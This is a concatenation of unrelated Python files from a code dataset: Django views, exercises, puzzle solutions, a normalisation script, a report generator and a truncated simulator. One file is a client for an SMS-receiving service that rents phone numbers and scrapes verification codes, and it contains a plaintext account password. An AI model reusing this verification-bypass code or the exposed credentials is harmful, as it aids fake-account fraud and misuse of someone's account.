== \"__main__\":\n main(sys.argv[1:])","repo_name":"FabioSparta/RoomsScanner","sub_path":"Sensors_Simulator_new/OcuppancySender.py","file_name":"OcuppancySender.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10394846904","text":"# Create your views here.\nfrom forms import RSVPCreateEventFormStep1\nfrom forms import RSVPCreateEventFormStep2\nfrom django.shortcuts import render_to_response\nfrom django.template import Context\nfrom django.template import RequestContext\nfrom rsvp.models import ChihuoEvent\n\n\ndef create_event_step1(request):\n\tform = RSVPCreateEventFormStep1()\n\treturn render_to_response('rsvp/create-event.html', \n\t\t\t{\n\t\t\t\t'form' : form ,\n\t\t\t\t'step' : 1,\n\t\t\t},\n\t\t\tcontext_instance=RequestContext(request)\n\t)\n\t\n\t\ndef create_event_step2(request):\n\tif request.method == 'POST':\n\t\tform = RSVPCreateEventFormStep1(request.POST) \t# get submitted form\n\t\tif form.is_valid():\n\t\t\ttitle = form.cleaned_data['title']\n\t\t\tnewform = RSVPCreateEventFormStep2()\t\t# create next form\n\t\treturn render_to_response('rsvp/create-event.html',\n\t\t\t \t{\n\t\t\t\t\t'form' : newform,\n\t\t\t\t\t'step' : 2,\n\t\t\t\t\t'data': title,\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t)\n\n\telse:\n\t\tnewform = RSVPCreateEventFormStep1()\n\t\treturn render_to_response('rsvp/create-event.html', \n\t\t\t\t{\n\t\t\t\t\t'form' : newform ,\n\t\t\t\t\t'step' : 1,\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t)\n\ndef create_event_step3(request):\n\tif request.method == 'POST':\n\t\tform = RSVPCreateEventFormStep2(request.POST) \t# get submitted form\n\t\tif form.is_valid():\n\t\t\ttitle = form.cleaned_data['title']\n\t\t\tnewform = RSVPCreateEventFormStep3()\t\t# create next form\n\t\t\treturn render_to_response('rsvp/create-event.html',\n\t\t\t \t{\n\t\t\t\t\t'form' : newform,\n\t\t\t\t\t'step' : 3,\n\t\t\t\t\t'data': title,\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t\t)\n\n\t\telse:\n\t\t\tnewform = RSVPCreateEventFormStep1()\n\t\t\treturn render_to_response('rsvp/create-event.html', \n\t\t\t\t{\n\t\t\t\t\t'form' : newform ,\n\t\t\t\t\t'step' : 1,\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t\t)\n\ndef create_event_step_final(request):\n\tif request.method == 'POST':\n\t\tform = RSVPCreateEventFormStep3(request.POST)\n\t\tif form.is_valid():\n\t\t\t# get data\n\t\t\t# create new chihuo event\n\t\t\treturn render_to_response('rsvp/create-event-successful.html',\n\t\t\t\t{\n\t\t\t\t\t'data'\t: 'successful',\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t\t)\n\telse:\n\t\tnewform = RSVPCreateEventFormStep1()\n\t\treturn render_to_response('rsvp/create-event.html', \n\t\t\t{\n\t\t\t\t'form' : newform ,\n\t\t\t\t'step' : 1,\n\t\t\t},\n\t\t\tcontext_instance=RequestContext(request)\n\t\t)\t\n\n\n","repo_name":"yeeppe/Chihuo-Django","sub_path":"rsvp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"4052948635","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport time\nfrom urllib import request\n\n# 第一步，创建一个logger,并设置级别\nlogger = logging.getLogger(\"my_51ym.py\")\nlogger.setLevel(logging.INFO) # Log等级总开关\n# 第二步，创建一个handler，用于写入日志文件\nfh = logging.FileHandler('./logs/my_51ym.log', mode='w')\nfh.setLevel(logging.INFO) # 输出到file的log等级的开关\nch = logging.StreamHandler()\nch.setLevel(logging.INFO) # 输出到console的log等级的开关\n# 第三步，定义handler的输出格式\nformatter = logging.Formatter(\"%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s\")\nfh.setFormatter(formatter)\nch.setFormatter(formatter)\n# 第四步，将logger添加到handler里面\nlogger.addHandler(fh)\nlogger.addHandler(ch)\n\n\nclass ym:\n header_dict = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'}\n\n ITEMID = '14616' # 项目id\n token = ''\n phone = ''\n sms = ''\n\n def __init__(self):\n global token\n\n # 登陆/获取TOKEN\n username = 'newseeing' # 账号\n password = 'Liuxb0504' # 密码\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=login&username=' + \\\n username + '&password=' + password\n\n TOKEN1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n\n if TOKEN1.split('|')[0] == 'success':\n token = TOKEN1.split('|')[1]\n logger.warning(\"********** token = \" + token)\n else:\n logger.warning(\n '获取TOKEN错误,错误代码' + TOKEN1 + '。代码释义：1001:参数token不能为空;1002:参数action不能为空;1003:参数action错误;1004:token失效;1005:用户名或密码错误;1006:用户名不能为空;1007:密码不能为空;1008:账户余额不足;1009:账户被禁用;1010:参数错误;1011:账户待审核;1012:登录数达到上限')\n\n # 获取账户信息\n def get_userinfo(self):\n\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=getaccountinfo&token=' + token + '&format=1'\n ACCOUNT1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n if ACCOUNT1.split('|')[0] == 'success':\n ACCOUNT = ACCOUNT1.split('|')[1]\n logger.warning(ACCOUNT)\n else:\n logger.warning('获取TOKEN错误,错误代码' + ACCOUNT1)\n\n # 获取手机号码\n def get_phoneNumber(self):\n global token\n # global phone\n\n EXCLUDENO = '' # 排除号段170_171\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=getmobile&token=' + \\\n token + '&itemid=' + self.ITEMID + '&excludeno=' + EXCLUDENO\n MOBILE1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n if MOBILE1.split('|')[0] == 'success':\n self.phone = MOBILE1.split('|')[1]\n logger.warning('获取号码是: ' + self.phone)\n return self.phone\n else:\n logger.warning('获取TOKEN错误,错误代码' + MOBILE1)\n return -1\n\n # 获取短信，注意线程挂起5秒钟，每次取短信最少间隔5秒\n def get_sms(self):\n global token\n # global phone\n\n WAIT = 150 # 接受短信时长60s\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=getsms&token=' + \\\n token + '&itemid=' + self.ITEMID + '&mobile=' + self.phone + '&release=1'\n\n text1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n logger.warning(\">>>>>>>>>> response.text = \" + text1)\n\n TIME1 = time.time()\n TIME2 = time.time()\n ROUND = 1\n while (TIME2 - TIME1) < WAIT and not text1.split('|')[0] == \"success\":\n time.sleep(5)\n text1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n logger.warning(\">>>>>>>>>> response.text = \" + text1)\n TIME2 = time.time()\n ROUND = ROUND + 1\n\n ROUND = str(ROUND)\n if text1.split('|')[0] == \"success\":\n text = text1.split('|')[1]\n TIME = str(round(TIME2 - TIME1, 1))\n logger.warning('********** ' + text + '\\n耗费时长' + TIME + 's,循环数是' + ROUND)\n\n # 提取短信内容中的数字验证码\n return self.get_sms_code(text)\n else:\n logger.warning('获取短信超时，错误代码是' + text1 + ',循环���是' + ROUND)\n self.block_phoneNumber()\n return -1\n\n # 拉黑\n def block_phoneNumber(self):\n global token\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=addignore&token=' + \\\n token + '&itemid=' + self.ITEMID + '&mobile=' + self.phone\n RELEASE = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n logger.warning('拉黑号码:' + RELEASE)\n\n # 释放号码\n def release_phoneNumber(self):\n global token\n # global phone\n\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=release&token=' + \\\n token + '&itemid=' + self.ITEMID + '&mobile=' + self.phone\n RELEASE = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n logger.warning('释放号码:' + RELEASE)\n\n def get_sms_code(self, sms):\n # 【币响App】您的验证码为3088，请于3内正确输入，如非本人操作，请忽略此短信。\n str1 = sms\n str2 = '为'\n nPos = str1.find(str2)\n # print(nPos)\n if nPos > -1:\n # print(str1[nPos+1:nPos+5])\n return str1[nPos + 1:nPos + 5]\n else:\n return nPos\n\n def get_phone(self):\n return self.phone\n\n def set_phone(self, phone):\n self.phone = phone\n","repo_name":"zt43413304/my_blockchain","sub_path":"common/my_51ym.py","file_name":"my_51ym.py","file_ext":"py","file_size_in_byte":6081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"21550416868","text":"dados = dict()\nlista_dados = list()\nwhile True:\n dados['nome'] = str(input('Nome: ')).strip().capitalize()\n while True:\n dados['sexo'] = str(input('Sexo[M/F]: ')).strip().upper()[0]\n if dados['sexo'] == 'M' or dados['sexo'] == 'F':\n break\n print('ERRO! Responda apenas M ou F.')\n\n dados['idade'] = int(input('Idade: '))\n lista_dados.append(dados.copy())\n\n while True:\n continuar = str(input('Quer continuar?[S/N]: ')).strip().upper()[0]\n if continuar == 'S' or continuar == 'N':\n break\n print('ERRO! Responda apenas S ou N.')\n if continuar == 'N':\n break\n\nprint('-=' * 30)\nprint(f'A) Ao todo temos {len(lista_dados)} pessoas cadastradas.')\n\n# Fazendo a opção B\nsoma_idade = 0\nfor idade in lista_dados:\n soma_idade += idade['idade']\nmedia = soma_idade / len(lista_dados)\nprint(f'B) A média de idade é de {media:.2f} anos.')\n# FIM - B\n\n# Fazendo a opção C\nprint(f'C) As mulheres cadastradas foram', end=' ')\nfor mulheres in lista_dados:\n if mulheres['sexo'] == 'F':\n print(f'{mulheres[\"nome\"]}', end=' ')\nprint('')\n# FIM - C\n\nprint('D) Lista das pessoas que estão acima da média:')\nfor acima_media in lista_dados:\n if acima_media['idade'] > media:\n print(f' nome = {acima_media[\"nome\"]};', end=' ')\n print(f'sexo = {acima_media[\"sexo\"]};', end=' ')\n print(f'idade = {acima_media[\"idade\"]};', end=' ')\n print('')\nprint('<< ENCERRADO >>')\n\n","repo_name":"santosalves/python-curso-em-video","sub_path":"exer094.py","file_name":"exer094.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"18382828886","text":"\r\nwith open('test.txt', 'r') as fh:\r\n test = [ (line.strip().split(',')[0], line.strip().split(',')[1]) for line in fh.readlines() ]\r\nwith open('input.txt', 'r') as fh:\r\n input = [ (line.strip().split(',')[0], line.strip().split(',')[1]) for line in fh.readlines() ]\r\n# print(test)\r\n\r\ndef overlap_assignment(part:str):\r\n counter = 0\r\n for pair in input:\r\n elf1_start, elf1_end = int(pair[0].split('-')[0]), int(pair[0].split('-')[1])\r\n elf2_start, elf2_end = int(pair[1].split('-')[0]), int(pair[1].split('-')[1])\r\n if (elf1_start <= elf2_start and elf1_end >= elf2_end) or (elf2_start <= elf1_start and elf2_end >= elf1_end):\r\n counter += 1\r\n elif elf1_end < elf2_start or elf2_end < elf1_start:\r\n pass\r\n else:\r\n if part == 'part1':\r\n counter += 0\r\n elif part == 'part2':\r\n counter += 1\r\n return counter\r\n\r\nprint(\"Part 1: \", overlap_assignment('part1'))\r\nprint(\"Part 2: \", overlap_assignment('part2'))\r\n","repo_name":"ricardlambea/AdventOfCode2022","sub_path":"day4/script_day4.py","file_name":"script_day4.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40058060719","text":"#!/usr/bin/env python3\nimport argparse\nimport pickle\nimport json\nfrom utils import prefixMap, firstViableTrg\n\n# Prepare quality estimation text\n\nparser = argparse.ArgumentParser(description='')\nparser.add_argument('blogfile', help='Path to the binary log (.blog) file in question')\nparser.add_argument('questions_flat', help='Path to the questions_flat.json file')\nparser.add_argument('--a0md', help='Path to the annotation markdown file')\nparser.add_argument('--a0csv', help='Path to the annotation csv file')\nargs = parser.parse_args()\n\n# Prepare the A0 format for quality annotation\n# (group by SID, add flavor text)\ndef prepareA0(segments, questions):\n out = dict()\n for seg in segments:\n confirm = prefixMap(seg, 'CONFIRM')\n if len(confirm) > 0:\n confirm = confirm[-1]\n else:\n continue\n out.setdefault(confirm['sid'], []).append((str(seg['usid']), confirm['text2']))\n firstViable = firstViableTrg(seg)\n if firstViable:\n out.setdefault(confirm['sid'], []).append((f'v{seg[\"usid\"]}', firstViable['text2']))\n\n markdown = ''\n csv = 'USID, Score\\n'\n for sid, segments in out.items():\n question = questions[sid].replace('*', '__')\n markdown += f'\\n\\n\\n## {sid}\\n'\n helpText = ''\n if sid.startswith('t'):\n helpText += 'Popište daný problém technické podpoře.'\n else:\n helpText += 'Položte dotaz, na který odpovídá vyznačená část v textu.'\n markdown += f'_{helpText}_\\n\\n'\n markdown += f'{question}\\n\\n'\n for segment in segments:\n markdown += f'- `{segment[0].rjust(7)}` {segment[1]}\\n'\n csv += f'\"{segment[0].rjust(7)}\",0\\n'\n markdown = markdown.replace('
', ' ')\n markdown = markdown.replace('
', ' ')\n return markdown, csv\n\nwith open(args.blogfile, 'rb') as f:\n segments = pickle.load(f)\n\nwith open(args.questions_flat, 'r') as f:\n questions = json.loads(f.read())\n\nmarkdown, csv = prepareA0(segments, questions)\nif args.a0md is not None:\n with open(args.a0md, 'w') as f:\n f.write(markdown)\nif args.a0csv is not None:\n with open(args.a0csv, 'w') as f:\n f.write(csv)\n","repo_name":"zouharvi/ptakopet","sub_path":"meta/study_pilot/processing_scripts/prep_qe_annotation.py","file_name":"prep_qe_annotation.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"44"} +{"seq_id":"13850434435","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\nclass Solution(object):\n def levelOrder(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n level = []\n if not root :\n return []\n \n \n queue = [root]\n #queue.append(root)\n\n while queue:\n\n next_queue = []\n lst = []\n while queue :\n \n s = queue.pop(0)\n lst.append(s.val)\n if s.left: \n next_queue.append(s.left)\n if s.right: \n next_queue.append(s.right)\n \n queue = next_queue\n level.append(lst)\n \n return level","repo_name":"ProtikBose/Programming-Practice","sub_path":"Tree/Level Order Traversal.py","file_name":"Level Order Traversal.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72080096133","text":"import sys\nread=sys.stdin.readline\ndef cut(x):\n sum=0\n for i in tree:\n if i-x>=0:\n sum+=(i-x)\n return sum\nn,m=map(int,input().split())\ntree=list(map(int,read().split()))\n\nl=0\nr=max(tree)\n\nwhile l<=r:\n h=(r+l)//2\n if cut(h)>=m:\n l=h+1\n else:\n r=h-1\nprint(r)\n","repo_name":"hangyeol-seo/Coding_Study","sub_path":"BaekJoon/이분탐색,삼분탐색/2805.py","file_name":"2805.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41735291855","text":"import relationcheck\r\nimport os\r\nimport time\r\n\r\ndef remove_from_temp(fr, temp):\r\n for letter in fr:\r\n if letter in temp:\r\n temp.remove(letter)\r\n return temp\r\n\r\n\r\ndef bcnf(relation_choice, pk_list):\r\n os.system('cls')\r\n time.sleep(1)\r\n print(\"Boyce-Codd Normal Form: \")\r\n relation_list = []\r\n\r\n for letter in relation_choice[0]:\r\n relation_list.append(letter)\r\n\r\n dependency_list = relation_choice[1]\r\n\r\n print(\"List R: => \"+str(relation_list))\r\n print(\"List FR: => \"+str(relation_choice[1]))\r\n print(\"List PK => \"+str(pk_list))\r\n\r\n temp = relation_list\r\n temp2 = []\r\n\r\n for fr in dependency_list:\r\n if relationcheck.is_in(fr[0], temp):\r\n temp = remove_from_temp(fr[1], temp)\r\n temp2.append(fr)\r\n\r\n # check if one of the PK is left in the temp so we can append him to temp2 (final list)\r\n temp2 = check_pk(check_pk_in_temp(pk_list,temp), temp, temp2)\r\n return temp2\r\n\r\ndef check_pk_in_temp(pk_list,temp):\r\n for pk in pk_list:\r\n pk_temp=list(pk)\r\n #print(\"Pk temp je: \"+str(pk_temp))\r\n if set(pk_temp).issubset(set(temp)):\r\n #print(\"Pk temp je: \"+str(pk_temp) +\"a subset je od \"+str(temp))\r\n return pk\r\n\r\ndef check_nonkey(pk, temp):\r\n all_letters = \"\"\r\n\r\n for letter in temp: #abfg\r\n if letter not in pk: #ab\r\n all_letters+=letter\r\n\r\n return all_letters\r\n\r\n\r\n\r\ndef check_pk(pk, temp, temp2):\r\n #print(\"PK koji smo poslali + \"+str(pk))\r\n #print(\"temp + \"+str(temp))\r\n #print(\"temp2 + \"+str(temp2))\r\n temp_list = []\r\n\r\n pk_list = list(pk)\r\n #print(\"pk_list + \"+str(pk_list))\r\n temp_str=\"\"\r\n\r\n if set(pk_list).issubset(set(temp)):\r\n nonkey = check_nonkey(pk, temp)\r\n temp_list.append(pk)\r\n temp_list.append(nonkey)\r\n temp2.append(temp_list)\r\n\r\n return temp2\r\n","repo_name":"aljinovic-ante/SQL_Seminar","sub_path":"Seminar_SQL/boycecodd.py","file_name":"boycecodd.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32694051132","text":"import json\n\nfrom handler.data_handler import DataHandler\n\n\nclass JsonHandler():\n def __init__(self,datahandler) -> None:\n self.output_dict: dict = dict()\n self.datahandler: DataHandler = datahandler\n\n \n def create_json(self,datahandler: DataHandler):\n '''\n Create the final output json\n Additional info can be added here\n '''\n self.add_api_info(datahandler)\n self.create_database_info(datahandler)\n self.create_https_info(datahandler)\n self.save_as_json()\n\n\n # API Info\n def add_api_info(self,datahandler: DataHandler):\n '''Add the information for api gateway and related security decisions'''\n # Add info if there is an API Gateway\n api_info ={\"API\":\"No API Gateway found\"}\n nginx_root = self.create_nginx_info_architecture_string(datahandler)\n nginx_ms = self.create_api_info_microservice_string(datahandler)\n has_entry = False\n if (bool(nginx_root)):\n api_info[\"API\"] = nginx_root\n has_entry = True\n \n if(has_entry and bool(nginx_ms)):\n api_info[\"API\"].update(nginx_ms)\n has_entry = True\n elif bool(nginx_ms):\n api_info[\"API\"]=nginx_ms\n has_entry = True\n\n if has_entry:\n api_info[\"API\"].update(self.create_logging_info_string(datahandler))\n api_info[\"API\"].update(self.create_port_info(datahandler))\n self.output_dict.update(api_info)\n\n\n def create_port_info(self,datahandler:DataHandler):\n '''Create port info'''\n port_info = {}\n if bool(datahandler.root_instance._output_info._api_info.port_info):\n port_info[\"Exposed Ports\"]=datahandler.root_instance._output_info._api_info.port_info\n else:\n port_info[\"Exposed Ports\"] = \"No exposed ports found\"\n\n return port_info\n\n def create_logging_info_string(self,datahandler: DataHandler):\n '''Create logging info'''\n logging_info = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._api_info._logging_info):\n logging_info[\"Logging\"] = {microservice._name: microservice._output_info._api_info._logging_info}\n if not bool(logging_info):\n logging_info[\"Logging\"] = \"There was no logging info found, but logger should at least report failed login attempts\"\n return logging_info\n\n\n def create_nginx_info_architecture_string(self,datahandler:DataHandler):\n '''Create nginx info'''\n nginx_root = {}\n if (bool(datahandler.root_instance._output_info._api_info.nginx_proxy)):\n nginx_root[\"API_Gateway\"] = {\"Setup\": datahandler.root_instance._output_info._api_info.nginx_proxy}\n\n return nginx_root\n\n\n def create_api_info_microservice_string(self,datahandler:DataHandler):\n '''Create api info'''\n nginx_ms = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._api_info._used_services):\n if \"API_Gateway\" in nginx_ms.keys():\n nginx_ms[\"API_Gateway\"].update({\"Setup in \" + microservice._name + \": \":microservice._output_info._api_info._used_services})\n else:\n nginx_ms[\"API_Gateway\"] = {\"Setup in \" + microservice._name + \": \":microservice._output_info._api_info._used_services}\n\n return nginx_ms\n\n\n\n # Database\n def create_database_info(self,datahandler: DataHandler):\n '''Add the information for the database best practice and connected security decisions'''\n json = {\"Database\": \"No database found\"}\n \n databases = self.get_db_connection_string(datahandler)\n if (bool(databases)):\n json[\"Database\"] = databases\n backup = self.get_db_backup_string(datahandler)\n json.update(backup)\n \n encryption = self.get_db_encryption_string(datahandler)\n json.update(encryption)\n\n self.output_dict.update(json)\n \n def get_db_connection_string(self, datahandler: DataHandler):\n '''add connection between microservice and databases'''\n json = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._database_info._database_connections):\n if \"Connections\" in json.keys():\n json[\"Connections\"].update({\"Database connected to \" + microservice._name : microservice._output_info._database_info._database_connections} )\n else:\n json[\"Connections\"] = {\"Database connected to \" + microservice._name : microservice._output_info._database_info._database_connections} \n # string += \"Found connected dbs in \" +microservice._name + \" \" + str(microservice._output_info._database_info._database_connections) + \"\\n\"\n return json\n\n def get_db_backup_string(self, datahandler: DataHandler):\n '''Add database backup info'''\n json = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._database_info._backup_info):\n if \"Backup\" in json.keys():\n json[\"Backup\"].update({\"Found possible backup instruction in \" +microservice._name:microservice._output_info._database_info._backup_info})\n else:\n json[\"Backup\"] = {\"Found possible backup instruction in \" +microservice._name:microservice._output_info._database_info._backup_info}\n\n if not bool(json):\n json[\"Backup\"] = \"There was no backup information found\"\n\n return json\n\n\n def get_db_encryption_string(self, datahandler: DataHandler):\n '''Add database encryption info'''\n json = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._database_info._encryption_info):\n if bool(json):\n json[\"Encryption\"].update({\"Found encryption instruction or libraries in \" +microservice._name: microservice._output_info._database_info._encryption_info})\n else:\n json[\"Encryption\"] = {\"Found encryption instruction or libraries in \" +microservice._name: microservice._output_info._database_info._encryption_info}\n\n if not bool(json):\n json[\"Encryption\"] = \"There was no encryption information found\"\n return json\n\n\n\n # HTTPS\n def create_https_info(self,datahandler: DataHandler):\n '''Add https info and connected security decisions'''\n json = {\"HTTPS\":\"No https setup found\"}\n\n https = self.get_https_setup_string(datahandler)\n if bool(https):\n json[\"HTTPS\"] = https\n json[\"HTTPS\"].update(self.get_https_cert(datahandler))\n json[\"HTTPS\"].update(self.get_cert_manager(datahandler))\n\n\n self.output_dict.update(json)\n\n\n def get_cert_manager(self,datahandler:DataHandler):\n '''Add certificate manager info'''\n json = {}\n if bool(datahandler.root_instance._output_info._https_info._cert_manager):\n json[\"Cert_manager\"] = datahandler.root_instance._output_info._https_info._cert_manager\n else:\n json[\"Cert_manager\"] = \"There was no certification manager found\"\n return json\n\n\n def get_https_setup_string(self,datahandler: DataHandler):\n '''Add https info'''\n json = {}\n for microservice in datahandler._component_instances:\n if bool(microservice._output_info._https_info._yaml_info):\n if bool(json):\n json[\"Setup\"].update({\"Found https setup for server: \" + microservice._name: microservice._output_info._https_info._yaml_info})\n else:\n json[\"Setup\"] = {\"Found https setup for server: \" + microservice._name: microservice._output_info._https_info._yaml_info}\n if bool(microservice._output_info._https_info._nginx_info):\n\n if bool(json):\n json[\"Setup\"].update({\"Found https setup in \" + microservice._name:microservice._output_info._https_info._nginx_info})\n else:\n json[\"Setup\"] = {\"Found https setup in \" + microservice._name:microservice._output_info._https_info._nginx_info}\n return json\n\n\n def get_https_cert(self,datahandler:DataHandler):\n '''Add certificate info'''\n json = {}\n if bool(datahandler.root_instance._output_info._https_info._cert_alg):\n json[\"Certificate\"] = datahandler.root_instance._output_info._https_info._cert_alg\n else:\n json[\"Certificate\"] = \"There was no certificate found\"\n return json\n \n\n # Save json\n def save_as_json(self):\n '''Write the json to microservice'''\n with open(self.datahandler.root_instance.root/'output.json', 'w') as fp:\n json.dump(self.output_dict, fp)","repo_name":"alsta450/design_detector","sub_path":"handler/json_handler.py","file_name":"json_handler.py","file_ext":"py","file_size_in_byte":8994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26904792018","text":"import csv\ndef solution_10():\n f = open('hightemp.txt')\n l = len(f.readlines())\n f.close()\n return l\n\ndef solution_11():\n f = open('hightemp.txt')\n f2 = open('hightemp_11.txt','w')\n lines = f.readlines()\n f2.writelines([i.replace('\\t',' ') for i in lines])\n f.close()\n f2.close()\n\ndef solution_12():\n f1 = open('col1.txt','w')\n f2 = open('col2.txt','w')\n with open('hightemp.txt') as csvfile:\n reader = csv.reader(csvfile, delimiter='\\t')\n for row in reader:\n print(row[0],file=f1)\n print(row[1],file=f2)\n f1.close()\n f2.close()\n\ndef solution_13():\n f1 = open('col1.txt','w')\n f2 = open('col2.txt','w')\n f3 = open('hightemp_13.txt','w')\n lines_1 = f1.readlines()\n lines_2 = f2.readlines()\n assert(len(lines_1)==len(lines_2))\n for i in range(len(lines_1)):\n print(lines_1[i],lines_2[i],sep='\\t',file=f3)\n f1.close()\n f2.close()\n f3.close()\n\nif __name__ == '__main__':\n print(solution_10())\n solution_11()\n solution_12()","repo_name":"jiao93/NLP","sub_path":"chapter02_10_13.py","file_name":"chapter02_10_13.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"18140161298","text":"import numpy as np\n\nfrom abc import ABC, abstractmethod\nfrom dataclasses import dataclass\n\n\n# Data structure to save the simulation.\n@dataclass(frozen=True)\nclass SimulationResults:\n time: np.array\n height: np.array\n error: np.array\n action: np.array\n\n\n# Dynamic System class. Simulates a dynamic system on the form:\n# dx_dt = f(x,t)\nclass DynamicSystem(ABC):\n a21 = 1 / 5\n a31, a32 = 3 / 40, 9 / 40\n a41, a42, a43 = 44 / 55, -56 / 15, 32 / 9\n a51, a52, a53, a54 = 19372 / 6561, -25360 / 2187, 64448 / 6561, -212 / 729\n a61, a62, a63, a64, a65 = 9017 / 3186, -355 / 33, 46732 / 5247, 49 / 176, -5103 / 18656\n a71, a73, a74, a75, a76 = 35 / 384, 500 / 1113, 125 / 192, -2187 / 6784, 11 / 84\n a81, a83, a84, a85, a86, a87 = 71 / 57600, -71 / 16695, 71 / 1920, -17253 / 339200, 22 / 525, -1 / 40\n\n def __init__(self, limits=None):\n keywords = ['dx_dt', 'x', 'action', 'dt']\n if limits is None:\n limits = {}\n self.limits = limits\n for keyword in keywords:\n if keyword not in limits.keys():\n self.limits[keyword] = [None, None]\n\n self.simulation_results = None\n\n def dx_dt(self, value, action=None):\n return self.limit(self._dx_dt(value, action), self.limits['dx_dt'])\n\n def simulate_45(self, total_time=10, dt=0.001, x0=0, tol=1e-6,\n controller=None, control_point=0.7,\n onFinished=None, args=None,\n progressCallback=None, callbackArgs=None,\n returnValues=False,\n ):\n\n # Control Variables\n control_action = 0\n control_timer = 0\n\n self.limits['dt'] = [1e-12, controller.ts]\n\n # Simulation Variables\n xn = x0\n x = LinkedList(x0)\n time = LinkedList(0)\n error = LinkedList(control_point - xn)\n action = LinkedList(0)\n\n elapsed_time = 0\n\n # Progress\n last_percentage = 0\n\n while elapsed_time < total_time:\n # Add dt to the elapsed time, and the control timer.\n elapsed_time += dt\n control_timer += dt\n\n # Calculates the current value using the Dormand Prince Method\n xn, dt = self.dormand_prince(lambda aux: self.dx_dt(aux, control_action), xn, dt, tol)\n xn = self.limit(xn, self.limits['x'])\n\n # Assign the variables to their respective array.\n x.append(xn)\n time.append(elapsed_time)\n error.append(control_point - xn)\n action.append(control_action)\n\n # Calculate the Control Action if the system has a controller.\n if controller:\n if control_timer >= controller.ts:\n control_timer -= controller.ts\n control_action = controller.calculate_action(x.np_array(), time.np_array(), control_point)\n else:\n control_action = 0\n\n # Progress Callback.\n percentage = int(100 * elapsed_time / total_time)\n if percentage != last_percentage:\n last_percentage = percentage\n if progressCallback:\n if callbackArgs:\n progressCallback(percentage, callbackArgs)\n else:\n progressCallback(percentage)\n\n self.simulation_results = SimulationResults(time.np_array(), x.np_array(), error.np_array(), action.np_array())\n if onFinished:\n if args:\n onFinished(self.simulation_results, args)\n else:\n onFinished(self.simulation_results)\n\n if returnValues:\n return self.simulation_results\n\n def simulate(self, total_time=10, dt=0.001, x0=0,\n controller=None, control_point=0.7,\n onFinished=None, args=None,\n progressCallback=None, callbackArgs=None,\n returnValues=False,\n ):\n\n print(control_point)\n # Control Variables\n control_action = 0\n control_timer = 0\n\n # Simulation Variables\n nit = int(np.ceil(total_time / dt))\n curr_x = x0\n x = np.zeros(nit)\n x[0] = x0\n time = np.zeros(nit)\n error = np.zeros(nit)\n error[0] = control_point - curr_x\n action = np.zeros(nit)\n elapsed_time_string = [''] * nit\n elapsed_time_string[0] = '0:00'\n\n elapsed_time = 0\n\n # Progress\n last_percentage = 0\n\n for i in range(1, nit):\n # Calculates the current value using the Runge Kutta Method.\n curr_x = self.runge_kutta(lambda aux: self.dx_dt(aux, control_action), curr_x, dt)\n curr_x = self.limit(curr_x, self.limits['x'])\n\n # Add dt to the elapsed time, and the control timer.\n elapsed_time += dt\n control_timer += dt\n\n # Assign the variables to their respective array.\n x[i] = curr_x\n time[i] = elapsed_time\n error[i] = control_point - curr_x\n action[i] = control_action\n\n # Calculate the Control Action if the system has a controller.\n if controller:\n if control_timer >= 